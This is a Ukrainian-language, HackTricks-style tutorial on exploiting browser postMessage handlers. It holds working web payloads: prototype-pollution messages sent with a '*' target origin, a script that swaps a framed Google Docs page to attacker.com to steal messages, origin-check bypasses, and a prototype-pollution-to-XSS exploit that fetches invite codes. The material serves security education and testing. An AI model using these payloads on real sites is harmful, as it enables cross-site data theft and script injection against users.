228 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Уразливості PostMessage
## Уразливості PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Надіслати **PostMessage**
**PostMessage** використовує наступну функцію для надсилання повідомлення:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Зверніть увагу, що **targetOrigin** може бути '\*' або URL, наприклад, _https://company.com._\
У **другому сценарії** **повідомлення можна надсилати лише на цей домен** (навіть якщо походження об'єкта вікна інше).\
Якщо використовується **доменне ім'я**, **повідомлення можуть надсилатися на будь-який домен** і будуть надіслані на походження об'єкта Window.
### Атака на iframe та доменне ім'я в **targetOrigin**
Як пояснюється в [**цьому звіті**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), якщо ви знайдете сторінку, яку можна **вставити в iframe** (без захисту `X-Frame-Header`) і яка **надсилає чутливі** повідомлення через **postMessage**, використовуючи **доменне ім'я** (\*), ви можете **змінити** **походження** **iframe** і **викрити** **чутливе** повідомлення на домен, контрольований вами.\
Зверніть увагу, що якщо сторінка може бути вставлена в iframe, але **targetOrigin** **встановлено на URL, а не на доменне ім'я**, цей **трюк не спрацює**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## експлуатація addEventListener
**`addEventListener`** - це функція, яка використовується JS для оголошення функції, що **очікує `postMessages`**.\
Будуть використані код, подібний до наведеного нижче:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Зверніть увагу, що **перше, що** робить код, це **перевірка походження**. Це надзвичайно **важливо**, особливо якщо сторінка збирається робити **щось чутливе** з отриманою інформацією (наприклад, змінювати пароль). **Якщо не перевірити походження, зловмисники можуть змусити жертв надсилати довільні дані на ці кінцеві точки** і змінювати паролі жертв (в цьому прикладі).
### Перерахування
Щоб **знайти обробники подій** на поточній сторінці, ви можете:
- **Шукати** JS код для `window.addEventListener` та `$(window).on` (_версія JQuery_)
- **Виконати** в консолі інструментів розробника: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Перейти до** _Elements --> Event Listeners_ в інструментах розробника браузера
![](<../../images/image (396).png>)
- Використати **розширення браузера** як [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) або [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ці розширення браузера **перехоплюють всі повідомлення** і показують їх вам.
### Обхід перевірки походження
- Атрибут **`event.isTrusted`** вважається безпечним, оскільки він повертає `True` лише для подій, які генеруються справжніми діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки є помітним.
- Використання **`indexOf()`** для перевірки походження в подіях PostMessage може бути вразливим до обходу. Приклад, що ілюструє цю вразливість:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Метод **`search()`** з `String.prototype.search()` призначений для регулярних виразів, а не рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення в regex, що робить метод потенційно небезпечним. Це пов'язано з тим, що в regex крапка (.) діє як підстановочний знак, що дозволяє обійти перевірку з особливо створеними доменами. Наприклад:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Функція **`match()`**, подібно до `search()`, обробляє regex. Якщо regex неправильно структурований, він може бути вразливим до обходу.
- Функція **`escapeHtml`** призначена для санітарної обробки введень шляхом екранування символів. Однак вона не створює нового екранованого об'єкта, а перезаписує властивості існуючого об'єкта. Цю поведінку можна експлуатувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає `hasOwnProperty`, `escapeHtml` не буде працювати, як очікувалося. Це продемонстровано в наведених нижче прикладах:
- Очікувана помилка:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Обхід екранування:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
У контексті цієї вразливості об'єкт `File` є особливо вразливим через його тільки для читання властивість `name`. Ця властивість, коли використовується в шаблонах, не санітарно обробляється функцією `escapeHtml`, що призводить до потенційних ризиків безпеки.
- Властивість `document.domain` в JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє більш м'яке застосування політики однакового походження в межах одного батьківського домену.
### Обхід e.origin == window.origin
Коли ви вбудовуєте веб-сторінку в **пісочницю iframe** за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено в null. Це особливо важливо при роботі з **атрибутами пісочниці** та їх наслідками для безпеки та функціональності.
Вказуючи **`allow-popups`** в атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці свого батька. Це означає, що якщо атрибут **`allow-popups-to-escape-sandbox`** також не включений, походження спливаючого вікна також встановлюється в `null`, що відповідає походженню iframe.
В результаті, коли спливаюче вікно відкривається за цих умов і повідомлення надсилається з iframe до спливаючого вікна за допомогою **`postMessage`**, як відправник, так і отримувач мають свої походження, встановлені в `null`. Ця ситуація призводить до сценарію, де **`e.origin == window.origin`** оцінюється як істина (`null == null`), оскільки як iframe, так і спливаюче вікно мають одне й те саме значення походження `null`.
Для отримання додаткової інформації **читайте**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Обхід e.source
Можливо перевірити, чи повідомлення надійшло з того ж вікна, в якому скрипт слухає (особливо цікаво для **Content Scripts з розширень браузера**, щоб перевірити, чи повідомлення було надіслано з тієї ж сторінки):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Ви можете примусити **`e.source`** повідомлення бути null, створивши **iframe**, який **надсилає** **postMessage** і **відразу видаляється**.
Для отримання додаткової інформації **читайте:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Обхід X-Frame-Header
Щоб виконати ці атаки, ідеально, щоб ви могли **вставити веб-сторінку жертви** всередину `iframe`. Але деякі заголовки, такі як `X-Frame-Header`, можуть **запобігти** цій **поведінці**.\
У таких сценаріях ви все ще можете використовувати менш приховану атаку. Ви можете відкрити нову вкладку для вразливого веб-додатку та спілкуватися з ним:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Вкрадення повідомлення, надісланого дитині, шляхом блокування головної сторінки
На наступній сторінці ви можете побачити, як ви могли б вкрасти **чутливі дані postmessage**, надіслані до **дитячого iframe**, шляхом **блокування** **головної** сторінки перед відправкою даних і зловживання **XSS у дитині** для **викриття даних** до їх отримання:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Вкрадення повідомлення шляхом зміни місцезнаходження iframe
Якщо ви можете вставити веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете **змінити місцезнаходження цього дитячого iframe**, тому якщо він отримує **postmessage**, надіслане за допомогою **wildcard**, зловмисник може **змінити** цей iframe **походження** на сторінку, **контрольовану** ним, і **вкрасти** повідомлення:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage до Prototype Pollution та/або XSS
У сценаріях, коли дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Приклад експлойту для зловживання **Prototype Pollution, а потім XSS** через `postMessage` до `iframe`:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Для **додаткової інформації**:
- Посилання на сторінку про [**забруднення прототипу**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Посилання на сторінку про [**XSS**](../xss-cross-site-scripting/index.html)
- Посилання на сторінку про [**забруднення прототипу на стороні клієнта до XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Посилання
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Для практики: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}